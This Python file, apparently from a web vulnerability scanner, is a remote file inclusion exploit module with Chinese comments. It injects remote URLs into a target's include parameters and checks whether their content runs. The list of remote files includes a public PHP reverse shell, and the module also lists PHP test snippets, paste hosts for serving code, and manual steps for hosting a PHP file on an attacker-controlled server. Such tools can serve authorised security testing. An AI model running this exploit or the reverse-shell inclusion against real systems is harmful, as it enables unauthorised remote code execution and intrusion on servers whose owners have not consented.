267 lines
10 KiB
Python
267 lines
10 KiB
Python
#!/usr/bin/env python
|
||
# -*- coding: utf-8 -*-
|
||
|
||
"""
|
||
RFI(远程文件包含)漏洞利用模块
|
||
"""
|
||
|
||
import logging
|
||
import re
|
||
import urllib.parse
|
||
import random
|
||
import string
|
||
import base64
|
||
import requests
|
||
|
||
logger = logging.getLogger('xss_scanner')
|
||
|
||
class RFIExploit:
|
||
"""RFI漏洞利用类"""
|
||
|
||
def __init__(self, http_client):
|
||
"""
|
||
初始化RFI漏洞利用模块
|
||
|
||
Args:
|
||
http_client: HTTP客户端对象
|
||
"""
|
||
self.http_client = http_client
|
||
|
||
# 远程测试文件URL列表
|
||
self.remote_test_files = [
|
||
"http://www.google.com/humans.txt",
|
||
"https://www.bing.com/robots.txt",
|
||
"https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/phpinfo.php",
|
||
"https://raw.githubusercontent.com/tennc/webshell/master/php/php-reverse-shell.php"
|
||
]
|
||
|
||
# RFI测试代码片段
|
||
self.test_code_snippets = [
|
||
"<?php echo 'RFI_TEST_'.rand(1000,9999); ?>",
|
||
"<?php echo md5('RFI_TEST'); ?>",
|
||
"<?php echo base64_encode('RFI_TEST_'.time()); ?>",
|
||
"<?php phpinfo(); ?>"
|
||
]
|
||
|
||
# 远程测试代码的可能托管服务
|
||
self.remote_code_hosts = [
|
||
"https://pastebin.com/raw/",
|
||
"https://gist.githubusercontent.com/raw/",
|
||
"https://raw.githubusercontent.com/"
|
||
]
|
||
|
||
# 常见参数名
|
||
self.common_parameters = [
|
||
"file",
|
||
"page",
|
||
"url",
|
||
"uri",
|
||
"path",
|
||
"filepath",
|
||
"load",
|
||
"include",
|
||
"require",
|
||
"doc",
|
||
"document",
|
||
"folder",
|
||
"root",
|
||
"cont",
|
||
"content",
|
||
"layout",
|
||
"mod",
|
||
"module",
|
||
"template"
|
||
]
|
||
|
||
def exploit(self, vulnerability):
|
||
"""
|
||
利用RFI漏洞
|
||
|
||
Args:
|
||
vulnerability: 漏洞信息
|
||
|
||
Returns:
|
||
dict: 利用结果
|
||
"""
|
||
logger.info(f"尝试利用RFI漏洞: {vulnerability['url']}")
|
||
|
||
url = vulnerability.get('url')
|
||
parameter = vulnerability.get('parameter')
|
||
payload = vulnerability.get('payload', '')
|
||
|
||
if not url or not parameter:
|
||
return {
|
||
'success': False,
|
||
'message': '缺少必要的漏洞信息(URL或参数名)',
|
||
'data': None
|
||
}
|
||
|
||
# 尝试远程文件测试
|
||
for remote_url in self.remote_test_files:
|
||
result = self._try_remote_file(url, parameter, remote_url)
|
||
if result and result['success']:
|
||
return result
|
||
|
||
# 生成随机标记用于验证
|
||
verification_mark = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))
|
||
logger.info(f"生成验证标记: {verification_mark}")
|
||
|
||
# 如果远程文件测试不成功,尝试创建一个自定义的远程测试文件
|
||
# 实际应用中,需要一个可控的Web服务器来托管这些文件
|
||
# 这里只是演示性代码
|
||
test_code = f"<?php echo 'RFI_VERIFICATION_{verification_mark}'; ?>"
|
||
|
||
# 返回结果
|
||
# 注意:实际利用需要真实的远程服务器来托管恶意代码
|
||
return {
|
||
'success': False,
|
||
'message': '在实际环境中,需要一个可控的远程Web服务器托管PHP代码来完成RFI漏洞利用',
|
||
'data': {
|
||
'verification_code': test_code,
|
||
'parameter': parameter,
|
||
'url': url
|
||
},
|
||
'poc': f"要验证RFI漏洞,请在你控制的Web服务器托管包含 '{test_code}' 的PHP文件,然后设置URL参数 {parameter}={{'你的PHP文件URL'}}",
|
||
'manual_steps': [
|
||
"1. 在你控制的Web服务器上创建一个PHP文件,内容为: " + test_code,
|
||
"2. 确保该PHP文件可通过HTTP/HTTPS访问",
|
||
f"3. 构造URL: {url}?{parameter}=http://your-server.com/your-file.php",
|
||
f"4. 如果响应中包含 'RFI_VERIFICATION_{verification_mark}',则确认存在RFI漏洞"
|
||
]
|
||
}
|
||
|
||
def _try_remote_file(self, url, parameter, remote_url):
|
||
"""
|
||
尝试包含远程文件
|
||
|
||
Args:
|
||
url: 目标URL
|
||
parameter: 参数名
|
||
remote_url: 远程文件URL
|
||
|
||
Returns:
|
||
dict: 利用结果
|
||
"""
|
||
try:
|
||
logger.info(f"尝试包含远程文件: {remote_url}")
|
||
|
||
# 构建RFI测试URL
|
||
parsed_url = urllib.parse.urlparse(url)
|
||
query_params = dict(urllib.parse.parse_qsl(parsed_url.query))
|
||
query_params[parameter] = remote_url
|
||
|
||
# 重建查询字符串
|
||
new_query = urllib.parse.urlencode(query_params)
|
||
new_url = urllib.parse.urlunparse((
|
||
parsed_url.scheme,
|
||
parsed_url.netloc,
|
||
parsed_url.path,
|
||
parsed_url.params,
|
||
new_query,
|
||
parsed_url.fragment
|
||
))
|
||
|
||
# 先获取远程文件内容,以便后续比较
|
||
try:
|
||
remote_response = requests.get(remote_url, timeout=5)
|
||
if not remote_response.ok:
|
||
logger.warning(f"无法获取远程文件内容: {remote_url}")
|
||
return None
|
||
|
||
remote_content = remote_response.text
|
||
logger.info(f"成功获取远程文件内容,长度: {len(remote_content)} 字节")
|
||
|
||
# 获取远程文件的特征以便检测
|
||
# 提取特征,最多50个字符
|
||
feature_length = min(50, len(remote_content))
|
||
if feature_length > 0:
|
||
remote_feature = remote_content[:feature_length]
|
||
else:
|
||
logger.warning("远程文件内容为空")
|
||
return None
|
||
|
||
except Exception as e:
|
||
logger.error(f"获取远程文件内容时出错: {str(e)}")
|
||
return None
|
||
|
||
# 发送包含请求
|
||
response = self.http_client.get(new_url)
|
||
|
||
# 检查响应是否包含远程文件内容
|
||
if response and response.status_code == 200:
|
||
# 检查响应中是否包含远程文件的特征
|
||
if remote_feature and remote_feature in response.text:
|
||
logger.info(f"成功包含远程文件,发现特征: {remote_feature[:20]}...")
|
||
return {
|
||
'success': True,
|
||
'message': f'成功利用RFI漏洞包含远程文件: {remote_url}',
|
||
'data': {
|
||
'remote_url': remote_url,
|
||
'parameter': parameter,
|
||
'feature_found': remote_feature[:20] + ('...' if len(remote_feature) > 20 else '')
|
||
},
|
||
'poc': new_url
|
||
}
|
||
elif "phpinfo" in remote_url.lower() and "PHP Version" in response.text and "PHP License" in response.text:
|
||
# 特殊检测: phpinfo()
|
||
logger.info("成功包含远程PHP文件,执行了phpinfo()")
|
||
return {
|
||
'success': True,
|
||
'message': '成功利用RFI漏洞包含远程PHP文件并执行了phpinfo()',
|
||
'data': {
|
||
'remote_url': remote_url,
|
||
'parameter': parameter,
|
||
'php_version': self._extract_php_version(response.text)
|
||
},
|
||
'poc': new_url
|
||
}
|
||
elif "shell" in remote_url.lower() and "system" in response.text and "exec" in response.text:
|
||
# 特殊检测: 可能的webshell
|
||
logger.info("成功包含远程PHP文件,可能是webshell")
|
||
return {
|
||
'success': True,
|
||
'message': '成功利用RFI漏洞包含远程PHP文件(可能是webshell)',
|
||
'data': {
|
||
'remote_url': remote_url,
|
||
'parameter': parameter,
|
||
'warning': '检测到可能包含危险函数的代码'
|
||
},
|
||
'poc': new_url
|
||
}
|
||
|
||
except Exception as e:
|
||
logger.error(f"尝试包含远程文件时出错: {str(e)}")
|
||
|
||
return None
|
||
|
||
def _extract_php_version(self, phpinfo_output):
|
||
"""
|
||
从phpinfo()输出中提取PHP版本
|
||
|
||
Args:
|
||
phpinfo_output: phpinfo()函数的输出
|
||
|
||
Returns:
|
||
str: PHP版本
|
||
"""
|
||
# 尝试提取PHP版本
|
||
version_match = re.search(r"PHP Version[\s]*[=>]*[\s]*([0-9.]+)", phpinfo_output)
|
||
if version_match:
|
||
return version_match.group(1)
|
||
return "未知"
|
||
|
||
def _create_remote_test_file(self, test_code):
|
||
"""
|
||
创建远程测试文件
|
||
|
||
Args:
|
||
test_code: 测试代码
|
||
|
||
Returns:
|
||
str: 远程文件URL
|
||
"""
|
||
# 在实际应用中,这个函数应该将测试代码上传到可控的Web服务器
|
||
# 并返回可访问的URL
|
||
# 这里仅作为演示,返回一个假的URL
|
||
logger.warning("创建远程测试文件功能需要实际的Web服务器支持")
|
||
return "http://example.com/test_rfi.php" |